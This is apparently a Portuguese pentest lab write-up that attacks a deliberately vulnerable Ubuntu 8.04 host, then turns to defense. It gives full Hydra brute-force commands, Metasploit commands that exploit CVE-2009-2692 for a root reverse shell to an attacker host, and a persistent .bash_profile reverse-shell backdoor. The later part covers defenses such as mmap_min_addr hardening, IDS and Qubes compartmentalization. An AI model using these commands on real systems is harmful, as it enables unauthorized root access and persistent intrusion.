|||||||||
// Pentest & Defesa - LeandroIbov Solutions

Qubes OS Pentest Escalação de Privilégio Local Kernel Vulnerável + Backdoor

Laboratório completo de ataque e defesa: da quebra de senha fraca com Hydra à exploração de CVE-2009-2692 no kernel Linux 2.6.24-16-server via Metasploit. Aprenda a virar root, instalar backdoor persistente e - o mais importante - defender-se com configuração de kernel, IDS e compartimentalização no Qubes OS.

// Publicado em 06 de Outubro de 2026
0
Ano da CVE-2009-2692 (sock_sendpage)
0
Senha fraca quebrada em segundos
0
Porta do reverse shell root
0
Valor ideal de vm.mmap_min_addr
// Demonstração em Vídeo

Assista ao Ataque em Ação

01
Recon
02
Credencial
03
Enumeração
04
Exploração
05
Persistência
// Capítulo 01

Topologia do Laboratório e Vetor de Entrada

Cenário Controlado em Rede Privada 10.60.0.0/24

Este laboratório reproduz um cenário real de rede corporativa vulnerável. Toda a operação ocorre em uma rede privada isolada 10.60.0.0/24, sem qualquer exposição à internet, garantindo que os testes sejam éticos e controlados. A topologia é composta por três elementos centrais:

  • Roteador/Gateway - 10.60.0.1, ponto de saída e segmentação da rede.
  • Máquina atacante - Qubes OS rodando template Parrot OS em 10.60.0.237.
  • Máquina alvo (vítima) - Ubuntu 8.04 Hardy com kernel 2.6.24-16-server em 10.60.0.209.

A escolha do Qubes OS como plataforma de ataque não é casual: é o sistema operacional mais robusto para atividades ofensivas, pois isola cada ferramenta e cada alvo em qubes distintos. Se o ataque comprometer a máquina alvo, o Parrot OS permanece confinado em seu domínio, impedindo movimento lateral para o sistema hospedeiro.

O uso de Qubes OS + Parrot OS template cria compartimentalização absoluta. Cada pentest pode ser executado em uma Disposable VM que é destruída ao final, deixando zero vestígios e garantindo isolamento total.

Por Que o Alvo é Vulnerável

O Ubuntu 8.04 Hardy com kernel 2.6.24-16-server foi lançado em abril de 2008 e carrega consigo uma série de vulnerabilidades já catalogadas. Esse kernel é contemporâneo a exploits devastadores como CVE-2008-0600 (vmsplice), CVE-2008-0900 (ptrace), CVE-2009-2692 (sock_sendpage) e CVE-2009-3547 (pipe.c 32-bit) - todos exploráveis localmente por qualquer usuário autenticado.

// Capítulo 02

Engenharia Social e Roubo de Credenciais

O Fator Humano é Sempre o Elo Mais Fraco

Antes mesmo de qualquer ferramenta automatizada, o atacante explora o vetor mais antigo e mais eficaz: o comportamento humano. Em ambientes corporativos, senhas são digitadas em locais públicos, visualizadas por câmeras de segurança e capturadas por dispositivos ocultos.

Vetores de Captura de Senha em Ambiente Corporativo

Os cenários abaixo são realistas e documentados em investigações forenses:

Esses dados capturados são vendidos no mercado negro ou usados diretamente por atacantes internos. Senhas de autoridades governamentais, militares, executivos e operadores financeiros são alvos prioritários por seu alto valor estratégico.

Uma senha complexa como dudii¨7--s##8d7Sdjdus#DDfi8$ (168 bits de entropia) é inquebrável por brute force com Hydra ou John the Ripper. Contudo, ela cai instantaneamente diante de uma câmera bem posicionada. A complexidade criptográfica é inútil quando o vetor é físico.

O Caso do Laboratório: Senha Numérica Fraca

No entanto, o cenário do nosso laboratório é ainda mais frágil: o usuário ryu utiliza a senha 987654 - uma sequência numérica previsível. Essa senha aparece em qualquer wordlist padrão, incluindo a lendária rockyou.txt que contém mais de 14 milhões de senhas vazadas em incidentes reais.

# Extraindo a wordlist rockyou no Parrot OS
$ gunzip /usr/share/wordlists/rockyou.gz
$ wc -l /usr/share/wordlists/rockyou.txt
14344391 /usr/share/wordlists/rockyou.txt
# 14 milhões de senhas prontas para ataque
// Capítulo 03

Quebra de Senha Fraca com Hydra

Hydra: A Hidra de Muitas Cabeças do Brute Force

O Hydra (ou THC-Hydra) é um dos mais poderosos e versáteis crackers de login de rede. Ele suporta mais de 50 protocolos, incluindo SSH, Telnet, FTP, HTTP, RDP, SMB e muitos outros. Sua arquitetura multithread permite testar milhares de credenciais por segundo, tornando-o ideal para ataques de dicionário contra serviços expostos.

No nosso laboratório, já conhecemos o nome de usuário (ryu), o que reduz drasticamente o espaço de busca: em vez de testar usuário × senha, testamos apenas senha. Isso é comum em ambientes corporativos onde nomes de usuário seguem um padrão previsível (nome.sobrenome, primeiro nome, etc.).

Ataque contra SSH

SSH (Secure Shell) é o protocolo mais comum para administração remota. Mesmo sendo criptografado, o processo de autenticação pode ser atacado por força bruta se não houver rate limiting ou fail2ban.

$ hydra -l ryu \
-P /usr/share/wordlists/rockyou.txt \
-t 8 -f -V \
10.60.0.209 ssh
[22][ssh] host: 10.60.0.209 login: ryu password: 987654
1 of 1 target successfully completed, 1 valid password found

Ataque contra Telnet

Telnet é um protocolo legado que transmite credenciais em texto plano. Se estiver habilitado (e muitas vezes está, por esquecimento em sistemas antigos), é ainda mais rápido de quebrar que SSH.

$ hydra -l ryu \
-P /usr/share/wordlists/rockyou.txt \
-t 8 -f -V \
10.60.0.209 telnet
[23][telnet] host: 10.60.0.209 login: ryu password: 987654

Explicação dos Parâmetros

  • -l ryu - usuário único (economiza tempo evitando testar vários usuários).
  • -P arquivo - caminho para o dicionário de senhas.
  • -t 8 - 8 threads paralelas (aumenta velocidade; valores altos podem causar DoS no serviço).
  • -f - finaliza ao encontrar a primeira credencial válida.
  • -V - verbose, mostra cada tentativa em tempo real.

Com a senha 987654 presente nas primeiras posições do rockyou.txt, o Hydra encontra a credencial em menos de um segundo. É o exemplo perfeito de por que políticas de senha forte são a primeira linha de defesa de qualquer sistema.

// Capítulo 04

Enumeração de Kernel e Superfície de Ataque

Identificando o Alvo Antes de Atacar

Uma vez dentro do sistema, o atacante precisa mapear o terreno. O objetivo é responder três perguntas fundamentais: Qual a versão do kernel?, Qual a distribuição? e Quais serviços e versões estão rodando?

Comandos de Coleta Inicial

$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
$ lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 8.04
Release: 8.04
Codename: hardy
$ openssl version
OpenSSL 0.9.8g 19 Oct 2007

Decifrando a Saída do uname -a

  • Linux - nome do kernel.
  • metasploitable - hostname da máquina (dica óbvia de ambiente propositalmente vulnerável).
  • 2.6.24-16-server - versão exata do kernel: este é o dado mais valioso.
  • #1 SMP - build número 1, com Symmetric MultiProcessing ativo.
  • Thu Apr 10 13:58:00 UTC 2008 - data de compilação (16 anos de atraso de patches).
  • i686 - arquitetura 32 bits x86.

Enumeração Avançada via Metasploit

Após estabelecer sessão via auxiliary/scanner/ssh/ssh_login, podemos executar módulos de pós-exploração para automatizar a coleta:

  • post/linux/gather/enum_system - informações gerais do sistema.
  • post/linux/gather/enum_configs - arquivos de configuração sensíveis.
  • post/linux/gather/enum_network - interfaces, rotas e conexões.
  • post/linux/gather/enum_protections - verifica ASLR, SELinux, AppArmor.
  • post/linux/gather/enum_users_history - histórico de comandos de usuários.
  • post/linux/gather/checkvm - detecta se está em VM.
  • post/linux/gather/checkcontainer - detecta containers Docker/LXC.
  • post/linux/gather/enum_containers - enumera containers em execução.
  • post/linux/gather/enum_command - busca binários com SUID/SGID (consulte GTFOBins).

A enumeração revela o nível de exposição: ASLR desligado, nenhum LSM ativo, kernel desatualizado. É o cenário ideal para exploração de vulnerabilidades conhecidas.

CVEs que Afetam o Kernel 2.6.24-16-server
CVE Componente Versões Afetadas Exploit-db ID Status
CVE-2008-0600 vmsplice 2.6.23 - 2.6.24 5093 Disponível
CVE-2008-0900 ptrace 2.6.17 - 2.6.24.1 4691 Disponível
CVE-2009-2692 sock_sendpage 2.6.0 - 2.6.30 16463 Testada
CVE-2009-3547 pipe.c (32-bit) 2.6.15 - 2.6.31 33321 Disponível
// Capítulo 05

Exploração de CVE-2009-2692 (sock_sendpage)

A Anatomia do Bug: NULL Pointer Dereference no Kernel

A CVE-2009-2692 é uma das vulnerabilidades mais elegantes já descobertas em kernels Linux. O problema reside no fato de que os desenvolvedores esqueceram de inicializar o ponteiro de função sendpage na estrutura proto_ops para sockets do tipo PF_PPPOX (e outros tipos exóticos de socket como PF_BLUETOOTH).

Quando um usuário local cria um socket desse tipo e chama a syscall sock_sendpage, o kernel dereferencia um ponteiro NULL. Em arquiteturas x86 32-bit, o espaço de endereço 0 é mapeável pelo usuário (se vm.mmap_min_addr não estiver configurado). Assim, o atacante mapeia código malicioso em 0x00000000, e o kernel - com privilégio de anel 0 - executa o payload.

O resultado é uma escalada de privilégio local trivial: qualquer usuário autenticado vira root em segundos.

Configurando a Sessão no Metasploit

Primeiro, estabelecemos sessão no alvo usando o scanner de SSH. Depois, colocamos em background e usamos o exploit local com essa sessão.

msf> use auxiliary/scanner/ssh/ssh_login
msf> set username ryu
msf> set password 987654
msf> set rhosts 10.60.0.209
msf> set lhost 10.60.0.237
msf> set ForceExploit true
msf> run
[+] SSH login successful: ryu:987654
# Sessão 1 aberta - usuário comum

Explorando com sock_sendpage

msf> use exploit/linux/local/sock_sendpage
msf> set PAYLOAD linux/x86/shell_reverse_tcp
msf> set SESSION 1
msf> set LHOST 10.60.0.237
msf> set LPORT 6790
msf> set ForceExploit true
msf> run
[*] Command shell session 2 opened
[+] uid=0(root) gid=0(root) groups=0(root)

A Sessão 2 agora é um shell reverso com privilégios de root. A escalada de privilégio foi concluída com sucesso. O atacante tem controle total do sistema.

Versão One-Line do Ataque

Para automação ou repetição rápida, o mesmo ataque pode ser condensado em uma linha:

msfconsole -q -x "use exploit/linux/local/sock_sendpage; \
set PAYLOAD linux/x86/shell_reverse_tcp; \
set SESSION 1; \
set LHOST 10.60.0.237; \
set LPORT 6790; \
set ForceExploit true; run"
// Capítulo 06

Persistência com Backdoor via Bash Profile

Mantendo Acesso Após o Reboot

Obter root é apenas metade da batalha. O atacante profissional precisa manter acesso mesmo após reinicializações, trocas de senha ou atualizações de sistema. Isso é feito através de persistence mechanisms (mecanismos de persistência).

Um dos mais elegantes é o abuso do arquivo .bash_profile ou .bashrc. Esses arquivos são executados automaticamente toda vez que o usuário abre um terminal interativo. Inserindo uma linha maliciosa, o atacante garante que seu backdoor seja reexecutado a cada login.

Deploy da Backdoor com Metasploit

O módulo exploit/linux/persistence/bash_profile automatiza esse processo. Ele usa a sessão root (Sessão 2) para injetar o payload no arquivo de perfil do usuário.

msf> use exploit/linux/persistence/bash_profile
msf> set PAYLOAD cmd/unix/reverse_perl
msf> set SESSION 2
msf> set LHOST 10.60.0.237
msf> set LPORT 6790
msf> set ForceExploit true
msf> run
[+] Backdoor installed in .bash_profile

Versão One-Line

msfconsole -q -x "use exploit/linux/persistence/bash_profile; \
set PAYLOAD cmd/unix/reverse_perl; \
set SESSION 2; \
set LHOST 10.60.0.237; \
set LPORT 6790; \
set ForceExploit true; run"

Listener Multi/Handler para Capturar o Retorno

Após a backdoor instalada, o atacante configura um listener persistente. Quando a vítima reiniciar a máquina ou abrir um novo terminal, o shell reverso conectará automaticamente.

msf> use exploit/multi/handler
msf> set PAYLOAD cmd/unix/reverse_perl
msf> set LHOST 10.60.0.237
msf> set LPORT 6790
msf> run
[*] Started reverse handler
[*] Command shell session 3 opened - aguardando reboot da vítima...

Esse método de persistência é extremamente eficaz em ambientes sem monitoramento de integridade de arquivos. A defesa requer ferramentas como AIDE, Tripwire ou OSSEC, que detectam modificações em arquivos críticos como .bashrc.

Alternativas de Persistência

O Metasploit oferece outros módulos de persistência que podem ser explorados:

Para buscar todos os módulos de persistência disponíveis:

msf> search type:exploit name:persistence platform:linux
// Capítulo 07

Defesa: Kernel Hardening, IDS e Qubes OS

A Ilusão do Antivírus Tradicional

Antivírus convencionais não protegem contra escalada de privilégio local. Eles monitoram arquivos maliciosos conhecidos, mas não detectam a exploração de vulnerabilidades legítimas do kernel. Uma vez que o atacante tem acesso local (via SSH, Telnet, pendrive ou zero-click), o antivírus é irrelevante.

A defesa real exige monitoramento contínuo de vulnerabilidades, hardening de kernel, IDS/IPS e - acima de tudo - arquitetura de compartimentalização.

1. Kernel Hardening: vm.mmap_min_addr

A defesa mais direta contra CVE-2009-2692 é impedir que o usuário mapeie memória no endereço 0. O parâmetro vm.mmap_min_addr controla o menor endereço de memória que um processo não privilegiado pode mapear.

# Verificar valor atual
$ cat /proc/sys/vm/mmap_min_addr
0 # VULNERÁVEL - exploit funciona
# Habilitar proteção
$ sudo vi /etc/sysctl.conf
vm.mmap_min_addr = 65536
$ sudo sysctl -p && sudo reboot
# Após reboot, exploit sock_sendpage falha
$ cat /proc/sys/vm/mmap_min_addr
65536 # PROTEGIDO

Com vm.mmap_min_addr = 65536, mesmo um kernel vulnerável a CVE-2009-2692 se torna inexplorável por esse vetor. É a prova de que configuração correta pode compensar falhas de software.

2. Monitoramento e Aviso de Novos Exploits

Um sistema de defesa eficaz precisa de vigilância contínua sobre:

  • Kernel - assinar listas de CVE (NVD, MITRE, distro security trackers).
  • Programas instalados - inventariar e cruzar versões com bancos de vulnerabilidades.
  • Serviços expostos - parar o serviço se não houver patch disponível.
  • Mitigações temporárias - aplicar workarounds até o patch definitivo.

3. IDS e Detecção de Enumeração Local

Um IDS (Intrusion Detection System) bem configurado pode detectar o padrão de enumeração típico de pós-exploração. Processos como uname -a, lsb_release, find / -perm -4000 em sequência rápida são um forte indicativo de ataque local em andamento.

Recomendações:

  • Enviar logs para servidor remoto (imutável).
  • Alertar via e-mail/Syslog quando arquivos críticos (.bashrc, .bash_profile, /etc/passwd) forem modificados.
  • Monitorar criação de processos suspeitos com privilégios elevados.

4. Ferramentas de Enumeração Defensiva

As mesmas ferramentas usadas por atacantes servem para auditoria defensiva. Rodar regularmente e corrigir o que for encontrado:

5. Compartimentalização com Qubes OS

A defesa mais poderosa é a arquitetura de compartimentalização. O Qubes OS divide o sistema em múltiplas VMs isoladas (qubes), cada uma com função específica: trabalho, finanças, pessoal, untrusted, disposables.

  • Named Disposables - ambientes que se autodestroem ao fechar, revertendo qualquer comprometimento.
  • NetVM isolada - todas as conexões de rede passam por uma VM dedicada, dificultando vazamento de IP real.
  • Dom0 isolado - o domínio de controle nunca se comunica com a internet.

Se um atacante compromete uma qube, ele fica preso nela. Não consegue escalar para Dom0, não consegue acessar outras qubes, não consegue persistir além do ciclo de vida da VM. Isso é security by isolation levado ao extremo.

Para atacantes, o custo de atacar um alvo com Qubes OS é ordens de magnitude maior do que atacar um Linux tradicional. Cada camada de isolamento precisa ser quebrada separadamente, e a maioria das técnicas de pós-exploração simplesmente não funciona.

6. Defesa em Profundidade: A Estratégia Completa

Nenhuma medida isolada é suficiente. A estratégia robusta combina:

  • Política de senhas fortes - elimina o vetor de entrada mais comum.
  • Atualização contínua de kernel e pacotes - fecha vulnerabilidades conhecidas.
  • Kernel hardening - vm.mmap_min_addr, ASLR, SELinux/AppArmor.
  • IDS e monitoramento - detecta ataques em andamento.
  • Compartimentalização - Qubes OS, VMs, containers.
  • Disposable environments - nada persiste além do necessário.
  • Educação do usuário - o fator humano é o elo decisivo.
Nível de Resistência por Configuração de Defesa

Blinde seu Ambiente Linux

A escalada de privilégio local é uma das ameaças mais subestimadas. Nossa consultoria especializada audita kernels, aplica hardening, configura IDS e implementa compartimentalização com Qubes OS para que seu ambiente resista a ataques reais.

Consultoria Especializada Curso Qubes OS